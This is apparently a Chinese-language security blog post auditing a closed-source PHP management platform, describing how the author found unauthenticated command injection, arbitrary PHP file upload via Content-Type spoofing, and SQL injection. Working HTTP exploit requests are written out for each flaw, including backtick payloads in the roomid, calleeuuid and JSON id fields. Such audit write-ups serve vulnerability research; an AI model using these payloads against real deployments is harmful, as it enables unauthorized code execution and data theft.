代码审计 - PHP - 某管理平台审计

前言

代码审计篇章都是自己跟几个师傅们一起审计的1day或者0day(当然都是小公司较为简单),禁止未经允许进行转载,发布到博客的用意主要是想跟师傅们能够交流下审计的思路,毕竟审计的思路也是有说法的,或者是相互源码共享也OK,本次审计的目标是某指挥中心公司,闭源的代码写的是真的非常粗糙,非常好审计,简单带过下

审计

命令执行

RCE1

危险函数的搜索(故审计上传 sql RCE 即可)

在搜索eval(​的时候发现了\app\exec\exec.php​ 存在可控点

image

原本以为能够直接RCE的,但是发现在开头的时候存在以下代码

1
require_once "includes/checkauth.php";

那么一看其实就是一个鉴权代码,那么于是我就跑了一遍未授权的php文件,发现/api/custom/app部分​都是不鉴权的(自己开发的没啥价值就不公开了)

image

于是就是从这个未授权的php文件中查找(就查找危险函数的时候看看目录在不在这里头就行)

tips: 这里有个要注意的点,就是PHP​代码尽量用seay​ 其实感觉PHPSTORM​有时候搜索的真的会遗漏比如这次的搜索 exec​ 跟 exec ​ 这两个搜索到的结果是不同的,我直接搜索exec​是不会有真正存在漏洞的函数的(我也不知道为啥)

image

又因为寻找未授权的php文件中我发现大量在api​目录下的php文件都是未授权的,所以就去看了\api\client\invite2videoconf.php

找到cmd_async​方法发现是默认调用的

image

image

如果我们可以控制$conf_cmd​ 就可以达到RCE的效果

跟进后发现

1
$conf_cmd = "bgapi sched_api +".$sched_seconds." none bgapi originate {rtp_force_video_fmtp='profile-level-id=428016;max-mbps=20250;max-fs=1200',effective_caller_id_name=$effective_name,absolute_codec_string=^^:opus@16000h@20i:PCMA:PCMU:H264,ignore_early_media=true,origination_caller_id_name=$conference_number,origination_caller_id_number=$conference_number,call_direction=outbound}$bridge_array[0] $conference_number xml default";

那也就是找$sched_seconds$effective_name$conference_number$conference_number$bridge_array​ 变量哪些是可控的

我们可以发现这个$conference_number​ 是可以通过GET​直接传入

1
$conference_number=$_GET['roomid'];

但是这里前提还是需要进入到$conf_cmd​所在的循环,所以我们打个断点试试(断点起不来,只能硬看了)

查看判断逻辑,发现只有一个地方我们可以控制的,其他的都是我们的服务端(也就是说,能不能成功,就看服务器能不能进入这个if判断逻辑了)那么我们唯一可控的就是$callee_number​这个参数了

image

从判断逻辑来看,他的数量不能够太多,所以我们只需要写一个参数即可

image

那么构造下payload试试(只需要加入一些能够命令执行的符号即可执行命令先(CTF太常见了))

1
2
GET /api/client/invite2videoconf.php?callee=1&roomid=`ls>aaa.txt` HTTP/1.1
Host: {{Hostname}}

image​​

RCE2+3

这里就有点新颖的思路了,除了继续搜索exec​之外,这里我是直接搜索了cmd_async​函数,发现也非常多不同的文件名引用了并且后续写法大差不差(这其实也是审计中非常常见的一种方法,猜测开发的开发习惯来审计)

image​​

写法是一样的 都是通过GET​去传参然后执行一下并且没有鉴权

1
2
3
4
5
GET /api/client/invite2videoconf.php?callee=1&roomid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}

GET /api/client/vmonitor.php?extension=1&calleeuuid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}

RCE4

也是一样通过上述方法搜索到该文件 \restapi\restcontroler.php​这个文件下还是存在命令参数的拼接的,但是需要一些跟进逻辑

image

首先GET得传request进入if判断 也就是两个数组的事情,也就是exp中的?request=conference/mute_member

这里有个注意的点(傻呗冬夏跟我说这个点看了一晚上)

1
$input = json_decode(file_get_contents('php://input'),true);

image

直接拼接可以使用反引号来进行执行命令

这里有两个注意要点

  1. Content-Type: application/json
  2. {"id":"ls>/tmp/333.txt"}​ Json要双引号

报文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /restapi/restcontroler.php?request=conference/mute_member HTTP/1.1
Host: xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Length: 0
Content-Type: application/json
Origin: http://127.0.0.1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""

{"id":"`ls>/tmp/333.txt`"}

即可在tmp目录写入333.txt

任意文件上传

上传1

全局搜索了下move_uploaded_file(​ 感觉有点像后门的写法了\api\client\upload.php

image​​

在未授权的文件中我翻到了\custom\zx\upload.php​ 是未授权的

其实查看逻辑我们就可以发现,他仅仅只是对type​做了限制,并没有限制后缀,本地测试个demo即可看明白

1
2
<?php
var_dump($_FILES['file']['type']);

image​​

只要修改type​即可成功绕过限制了

给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /api/client/upload.php HTTP/1.1
Host: xxx
Content-Length: 300
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydug0EI1Kd1Yk6g3B
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarydug0EI1Kd1Yk6g3B
Content-Disposition: form-data; name="ulfile"; filename="pf.php"
Content-Type: image/jpg


<?php echo 1111;?>
------WebKitFormBoundarydug0EI1Kd1Yk6g3B
Content-Disposition: form-data; name="submit"

鎻愪氦
------WebKitFormBoundarydug0EI1Kd1Yk6g3B--

上传2

就不过多重复,这套源码,只要未授权,和鉴权type​都是任意文件上传(都非常多任意文件上传)

​​

SQL注入

全局搜索select​发现很多地方都是直接拼接后直接进行sql查询 _query( $_sql );​ 并没有做过多的预编译操作

单引号报错了

image​​

再加个单引号就没有报错 ,证实是字符型,但是这里存在一个问题,请看截图

1
?usernumber=1'and/**/1=1--+

image​​

但是使用1=2竟然也回显成功了,emmm有点奇怪,所以我在这里尝试使用一些布尔或者延时都不成功

1
?usernumber=1'and/**/1=2--+

image​​

具体原理是啥存疑了,但是后面通过模糊查询找到(说到是 能不用注释符就不用,能直接闭合就直接闭合,这里必须用or 因为or了之后才会查询到东西)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /custom/zx/departments.php?usernumber=1'or+user()+like+'a% HTTP/1.1
Host: xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Origin: http://127.0.0.1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""

image​​

image​​


代码审计 - PHP - 某管理平台审计
https://zjackky.github.io/post/code-audit-php-a-management-platform-audit-1ckgkn.html
作者
Zjacky
发布于
2023年12月29日
许可协议